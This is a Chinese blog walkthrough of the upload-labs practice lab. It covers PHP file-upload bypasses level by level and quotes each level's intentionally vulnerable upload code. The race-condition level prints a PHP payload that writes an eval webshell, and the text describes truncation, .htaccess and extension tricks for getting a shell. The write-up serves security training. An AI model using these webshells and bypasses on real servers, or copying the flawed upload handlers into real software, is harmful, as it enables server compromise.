1.PHP中 $_FILES
是一个预定义的数组,用于获取POST
上传文件的相关信息。如果上传单 个文件则是二维数组,如果上传多个文件则是三维数组
2.要确保前端上传表单的属性为enctype=”multipart/from-data”
,否则文件无法上传
$_FILES['userfile']['name']
客户端机器文件的原名称。$_FILES['userfile']['type']
文件的 MIME 类型,如果浏览器提供此信息的话。一个例子是“image/gif”。不过此 MIME 类型在 PHP 端并不检查,因此不要想当然认为有这个值。
$_FILES['userfile']['size']
已上传文件的大小,单位为字节。
$_FILES['userfile']['tmp_name']
文件被上传后在服务端储存的临时文件名。
$_FILES['userfile']['error']
和该文件上传相关的错误代码。
文件被上传后,默认地会被储存到服务端的默认临时目录中,除非 php.ini 中的 upload_tmp_dir 设置为其它的路径。服务端的默认临时目录可以通过更改 PHP 运行环境的环境变量 TMPDIR 来重新设置,但是在 PHP 脚本内部通过运行 putenv() 函数来设置是不起作用的。该环境变量也可以用来确认其它的操作也是在上传的文件上进行的。
考点:前端绕过
文件名后缀名未发生改变
抓包改后缀直接上传(这里其实有个前端验证,我们放到白盒测试中去分析)
虽然看到img
仍将其解析为了图片,我们访问上传文件
成功解析
根目录拿到flag
可以看到form
表单中存在onsubmit
事件,在事件触发后执行JS代码,也就是checkFile
函数
源代码中轻松找到了该函数
该函数用于前端验证后缀名,所以在此,我们有两种方法进行绕过
onsubmit
事件,达到绕过前端js白名单检测的目的本from表单因为没有指定上传路径,所以默认在本文件中,我们在index.php
中找到后端处理文件的代码
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) { if (file_exists(UPLOAD_PATH)) {
$temp_file = $_FILES['upload_file']['tmp_name']; $temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']; $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name'];
if (move_uploaded_file($temp_file, $img_path)){ if (move_uploaded_file($temp_file, $img_path)){
$is_upload = true; $is_upload = true;
} else { } else {
$msg = 'Upload Error!'; $msg = 'Upload Error!';
} }
} else { } else {
$msg = UPLOAD_PATH . 'Folder does not exist, please create it manually!'; $msg = UPLOAD_PATH . 'Folder does not exist, please create it manually!';
} }
} }
if (isset($_POST['submit'])) { if (isset($_POST['submit'])) {
可以看到后端并没有做任何的过滤,直接就将文件名和后缀进行了拼接造成文件上传漏洞
考点
:MIME类型绕过
上传jpg文件,发现文件名可控
通过F12,这次并没有找到定义checkFile的代码段,尝试直接传个敏感后缀的文件进行测试
前端并未做check,而是在后端进行了一次check
尝试上传进行FUZZ
当后缀为jpg
,Content-Type
为非图片类型时,上传失败
当上传一个图片马。
后缀为php
,Content-type
为图片类型时
上传成功,get webshell
关键代码
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name'];
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = 'Upload Error!';
}
} else {
$msg = 'Incorrect file type, please re-upload!';
}
} else {
$msg = UPLOAD_PATH.'Folder does not exist, please create it manually!';
}
}
?>
可以看到仅检测了Content-Type类型,而未对文件名进行check,进而通过黑盒测试中的那几步getshell
考点
:黑名单绕过
上传正常图片jsshell.png图片后发现
文件名不再可控,但是后缀还是png。
checkFIle没用,考虑后端对文件名进行操作
对后缀名进行了check
黑名单绕过
可以从这一点发现,后端是截取了最后一个点进行check,不在黑名单再放入其中
那绕过黑名单即可
尝试php2 php3 php5 phtml pht
最终解析php3
phtml
(与配置文件设置有关Apache的httpd.conf配置文件中,有这样一行内容:AddType application/x-httpd-php .php .php3 .phtml
)
关键代码
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array('.asp','.aspx','.php','.jsp');
$file_name = trim($_FILES['upload_file']['name']);
//去除文件名中所有空格
$file_name = deldot($file_name);
//如果文件名后有个 . 则删除文件名最后一个 .
$file_ext = strrchr($file_name, '.');
//找到后缀 (找到最后一个strrchr — 查找指定字符在字符串中的最后一次出现,从最后出现的位置开始,直到末尾。截取了最后一个点的后缀)
$file_ext = strtolower($file_ext);
//$file_ext全部小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);
//如果出现::$DATA就替换为空(win环境中会自动去除::$DATA)
$file_ext = trim($file_ext);
//去除所有空格
if(!in_array($file_ext, $deny_ext))
//check黑名单,如果不在黑名单中执行文件保存,若在则不保存,回显
{
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = 'Upload Failed!';
}
} else {
$msg = 'Upload not allowed .asp,.aspx,.php,.jsp suffix files!';
}
} else {
$msg = UPLOAD_PATH . 'Folder does not exist, please create it manually!';
}
}
跟一遍代码,首先定义了一个黑名单
通过trim
函数去除字符串首尾空白符
文件名倒着读,直到读到不是点的为止
$a = deldot("1234.1234..");
//1234.1234
代码分析完毕,只需绕过黑名单即可
考点
:后端黑名单绕过或.htaccess
绕过
文件名可控
后端验证
通过fuzz,我们不难看出,后端验证逻辑应该是:黑名单验证最后一个点的后缀,如果不在黑名单内则直接将文件名传上去
考虑截断%00
截断失败 ;
截断失败,解析为了图片
服务器为ApacheApache 1.x和2.x的解析漏洞,会从左往右识别
成功getshell
上传.htaccess
上传名字带有jsshell的图片马
解析为php
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//Delete the dot at the end of the file name
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext);//Convert to Small letter
$file_ext = str_ireplace('::$DATA', '', $file_ext);//Remove String::$DATA
$file_ext = trim($file_ext); //Clean Empty Place
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = 'Upload Failed!';
}
} else {
$msg = 'This type of file is not allow to upload!';
}
} else {
$msg = UPLOAD_PATH . 'Folder does not exist, please create it manually!';
}
}
可以看相较于Pass-03,后缀过滤更为严格,但名字仍然可控,考虑截断或中间件特性来进行绕过,截断的内容来过黑名单的check,解析php即可
考点
:大小写绕过
文件名无法控制,后缀黑名单
因为是截取最后一个后缀来过黑名单后直接拼接,解析漏洞失败;截断失败
fuzz后缀
大小写绕过
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//Delet Dot name
$file_ext = strrchr($file_name, '.');
$file_ext = str_ireplace('::$DATA', '', $file_ext);//Remove String::$DATA
$file_ext = trim($file_ext); //Clean Empty Space
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = 'This file is not allowed to be uploaded!';
}
} else {
$msg = UPLOAD_PATH . 'Folder does not exist, please create it manually!';
}
}
本代码中与之前不同,缺少strtolower函数,所以可以进行大小写的绕过,截取最后一个后缀直接拼接
考点
:win下的空格绕过(win环境下会将后缀后面的空格去除)
黑名单绕过
靶场用的buu的靶场,为linux环境。
无法实现空格绕过。不做演示了
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = $_FILES['upload_file']['name'];
$file_name = deldot($file_name);//Delete dot in name's latest place
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //Convert to lowercase
$file_ext = str_ireplace('::$DATA', '', $file_ext);//Remove String::$DATA
if (!in_array($file_ext, $deny_ext)) {
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], UPLOAD_PATH . '/' . $_FILES['upload_file']['name'])) {
$img_path = UPLOAD_PATH . '/' . $file_name;
$is_upload = true;
}
} else {
$msg = 'This file is not allowed to be uploaded!';
}
} else {
$msg = UPLOAD_PATH . 'Folder does not exist, please create it manually!';
}
}
move_upload_file小知识
:当 $img_path 可控的时候,还会忽略掉 $img_path 后面的 /.
因为代码中删除了最后的点,所以不能利用。全部小写,大小写绕过失败。但我们可以看到本段代码中未使用trim,所以在win的环境下可以用空格进行绕过
考点
:win下通过 . 绕过黑名单;利用Apache解析特性绕过
黑名单绕过
文件名完全可控
利用Apache特性,直接绕过getshell
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //Convert To Small Letter
$file_ext = str_ireplace('::$DATA', '', $file_ext);//Remove String::$DATA
$file_ext = trim($file_ext); //Clean Up Empty
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path))
截取最后一个后缀小写进入黑名单check,通过则将文件名直接存入服务器中。文件名完全可控,进而绕过
考点
:win环境下利用::$DATA绕过
linux下无法复现
访问直接访问php后缀即可,不用再加::$DATA
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//Remove deldot
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //Convert to lowercase
$file_ext = trim($file_ext); //Clean up empty
if (!in_array($file_ext, $deny_ext)) {
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], UPLOAD_PATH . '/' . $_FILES['upload_file']['name'])) {
$img_path = UPLOAD_PATH . '/' . $file_name;
$is_upload = true;
}
} else {
$msg = 'This file type is not allowed to be uploaded!';
}
} else {
$msg = UPLOAD_PATH . 'Folder does not exist, please create it manually!';
}
}
可执行后缀全部写死,用了strtolower
函数无法大小写绕过,截取最后的后缀名过了黑名单才进行拼接。我们只能利用win的特性::$DATA来去绕
考点
:win下通过 php. .
绕过,访问直接php.即可
文件名完全可控,所以还是可以利用Apache去绕。ini
绕过失败
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = $_FILES['upload_file']['name'];
$file_name = deldot($file_name);//Delete dot
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //Conver To Small Letter
$file_ext = str_ireplace('::$DATA', '', $file_ext);//Remove String::$DATA
$file_ext = trim($file_ext); //Clean Empty Space
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = 'Upload Failed!';
}
} else {
$msg = 'This file is not allowed to be uploaded!';
}
} else {
$msg = UPLOAD_PATH . 'Folder does not exist, please create it manually!';
}
}
如果采用win的php. .
下的逻辑file_name就为php.
即可绕过黑名单,因为deldot
读到空格后停止,check时为空格
考点
:双写绕过
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = str_ireplace($deny_ext,"", $file_name);
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path))
采用了str_ireplace
函数,忽略大小写进行替换,但str_replace
并不会循环遍历,所以双写绕过
考点
:%00
0x00
0x0a
截断 截断条件:php版本小于5.3.4,php的magic_quotes_gpc
为OFF状态+get型上传路径可控
截取最后的后缀进行check和拼接
白名单
通过观察发现上传路径可控
但不能创建新的文件夹
本版本不能截断
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
if(move_uploaded_file($temp_file,$img_path))
可以看到,虽然文件名白名单且不可控,但文件上传路径可控,考虑截断即可
考点
:%00
0x00
0x0a
截断 截断条件:php版本小于5.3.4,php的magic_quotes_gpc
为OFF状态+POST型上传路径可控
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
if(move_uploaded_file($temp_file,$img_path)){
不再赘述
考点
:文件头绕过+文件包含
所有后缀传上去都是.jpg
经过fuzz,检测文件头来判断文件类型,如果是jpg、png、gif则直接添加相应后缀,其他类型文件不过check
随后得找到文件包含的洞才能利用
function getReailFileType($filename){
$file = fopen($filename, "rb");
$bin = fread($file, 2); //只读2字节
fclose($file);
$strInfo = @unpack("C2chars", $bin);
$typeCode = intval($strInfo['chars1'].$strInfo['chars2']);
$fileType = '';
switch($typeCode){
case 255216:
$fileType = 'jpg';
break;
case 13780:
$fileType = 'png';
break;
case 7173:
$fileType = 'gif';
break;
default:
$fileType = 'unknown';
}
return $fileType;
}
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_type = getReailFileType($temp_file);
if($file_type == 'unknown'){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}
文件名不可控,后缀不可控,check文件头
考点
:getimagesize
函数检测文件头文件大小来检测文件类型+文件包含
可以看到,文件名和content-type并未影响后缀
文件头更改后被ban
和上题一样
function isImage($filename){
$types = '.jpeg|.png|.gif';
if(file_exists($filename)){
$info = getimagesize($filename);
$ext = image_type_to_extension($info[2]);
if(stripos($types,$ext)>=0){
return $ext;
}else{
return false;
}
}else{
return false;
}
}
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$res = isImage($temp_file);
if(!$res){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}
通过getimagesize
函数获得图片后缀来拼接,文件名不可控
考点
:exif_imagetype
函数check文件头+文件包含
文件名和Content-type不影响
删除文件头发现后缀消失
function isImage($filename){
//需要开启php_exif模块
$image_type = exif_imagetype($filename);
switch ($image_type) {
case IMAGETYPE_GIF:
return "gif";
break;
case IMAGETYPE_JPEG:
return "jpg";
break;
case IMAGETYPE_PNG:
return "png";
break;
default:
return false;
break;
}
}
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$res = isImage($temp_file);
if(!$res){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$res;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}
关键函数exif_imagetype
考点
:二次渲染
+文件包含
平时用的图片马因为被我切割过,传上去回显不正常,但是正常图片可以
黑名单,考虑0x00截断,但本环境不支持。
再看上传后的图片
图片被压缩,存在二次渲染
通过比对,这个部分未发生改变
修改蓝色部分后上传,成功带入
当验证后缀和Content-type后进行了二次渲染,生成新的文件。文件名不可控
考点
:条件竞争
代码中,将临时文件移动到了upload指定目录下,且移动到的文件名可控
。因为是直接移动到指定文件名中。随后进行check,check不通过则删除文件
。所以可以利用条件竞争去访问我们所有上穿的php,进而生成一个新的后门
通过爆破去上传文件,上传的文件名为1234.php
<?php fputs(fopen('1.php','w'),'<?php @eval($_POST["a"])?>');?>
目的是让其持续上传
上传的线程数可以调成1,因为我们竞争的点不在上传这,而是文件传入服务器后的那个点
访问1234.php,爆破访问,从而访问的速度大于删除的速度时,运行1234.php,生成1.php的后门
线程要大,次数要快
当我们竞争成功时会返回200(因为1234.php在那时未被删除)
成功激活1.php
考点
:条件竞争+白名单绕过
这里的代码量比之前大了不少,我们一步步分析
$imgFileName是时间戳
首先实例化了一个类
赋值,变量名取的挺清楚的$status_code = $u->upload(UPLOAD_PATH);
成员方法
跟进MyUpload类下的upload方法
function upload( $dir ){
$ret = $this->isUploadedFile();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
$ret = $this->setDir( $dir );
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
$ret = $this->checkExtension();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
$ret = $this->checkSize();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
// if flag to check if the file exists is set to 1
if( $this->cls_file_exists == 1 ){
$ret = $this->checkFileExists();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
}
// if we are here, we are ready to move the file to destination
$ret = $this->move();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
// check if we need to rename the file
if( $this->cls_rename_file == 1 ){
$ret = $this->renameFile();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
}
// if we are here, everything worked as planned :)
return $this->resultUpload( "SUCCESS" );
}
checkExtension
方法
白名单,检测最后一个点,所以我们可以用.php.jpg
来进行绕过
随后就调用了move
方法
在动态调试中我们可以看到,文件移动后的文件名是进行拼接而成,但是可控。从代码上看也是,前期并未对cls_filename
进行操作。
所以移动后的文件名是可以得知的
继续跟进。 cls_rename_file
初始值为1,进入if执行语句,调用renameFile
方法
function renameFile(){
// if no new name was provided, we use
if( $this->cls_file_rename_to == '' ){
$allchar = "abcdefghijklnmopqrstuvwxyz" ;
$this->cls_file_rename_to = "" ;
mt_srand (( double) microtime() * 1000000 );
for ( $i = 0; $i<8 ; $i++ ){
$this->cls_file_rename_to .= substr( $allchar, mt_rand (0,25), 1 ) ;
}
}
// Remove the extension and put it back on the new file name
$extension = strrchr( $this->cls_filename, "." );
$this->cls_file_rename_to .= $extension;
if( !rename( $this->cls_upload_dir . $this->cls_filename, $this->cls_upload_dir . $this->cls_file_rename_to )){
return "RENAME_FAILURE";
} else {
return 1;
}
}
由于 cls_file_rename_to
成员变量前面已经定义,赋值为time();所以跳过if语句,直接获取上传文件名的最后一个后缀与 cls_file_rename_to
进行拼接,生成新文件名,通过rename
函数改之前的文件名。此时文件名不再可控
代码梳理完毕,大致流程为:上传文件-> check后缀 白名单->upload拼接文件名进行转存->更改上传后的文件名
漏洞点就在转存后到更改文件名之间,bypass利用环境特性(截断或解析方式)来进行。所以要条件竞争
由于buu上有防扫功能,条件竞争受阻。剩下的与Pass-17相似
发包内容
访问
与上面相同,生成1.php
考点
:上传的文件名可控+黑名单绕过+move_uploaded_file函数当文件名最后为/.
时被忽略
黑名单绕过
move_uploaded_file函数当文件名最后为/.
时被忽略
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
$file_name = $_POST['save_name'];
$file_ext = pathinfo($file_name,PATHINFO_EXTENSION);
if(!in_array($file_ext,$deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
}else{
$msg = '上传出错!';
}
}else{
$msg = '禁止保存为该类型文件!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
$file_name完全可控
/.
绕过+关联数组考点:代码审计+/.
绕过+关联数组
if(!empty($_FILES['upload_file'])){
//mime check
$allow_type = array('image/jpeg','image/png','image/gif');
if(!in_array($_FILES['upload_file']['type'],$allow_type)){
$msg = "Prohibit to upload this type of File!";
}else{
//check filename
$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
if (!is_array($file)) {
$file = explode('.', strtolower($file));
}
$ext = end($file);
$allow_suffix = array('jpg','png','gif');
if (!in_array($ext, $allow_suffix)) {
$msg = "Prohibit to upload this type of suffix!";
}else{
$file_name = reset($file) . '.' . $file[count($file) - 1];
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$msg = "Upload Success!";
$is_upload = true;
首先绕过Content-type
$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
if (!is_array($file)) {
$file = explode('.', strtolower($file));
}
三目运算符
如果post的参数sava_name为空,则用文件名进行赋值;如果不为空则用save_name进行赋值
如果不是数组,通过.
来分割数组
通过$ext = end($file);
来取数组中最后一个元素来进行check
通过$file_name = reset($file) . '.' . $file[count($file) - 1];
;用reset
选取第一个元素再拼接file[count-1]
思路:
如果我们正常上传1234.php.jpg
,最终通过截取,文件名会变为1234.jpg
那我们能否可以不用.
来进行分割,跳过if分割数组语句
我们将传入的save_name
参数变为数组型即可
补充关联数组知识点
这里面最后echo为空的原因是没有$file[1]
故此,我们构造时,后缀时save_name[2],则save_name数组个数还是两个。但是count-1变为了1,则为空
该句子拼接为$file_name = reset($file) . '.';
本文作者:硝基苯
本文链接:https://www.c6sec.com/index.php/archives/402/
最后修改时间:2022-03-23 18:35:26
本站未注明转载的文章均为原创,并采用 CC BY-NC-SA 4.0 授权协议,转载请注明来源,谢谢!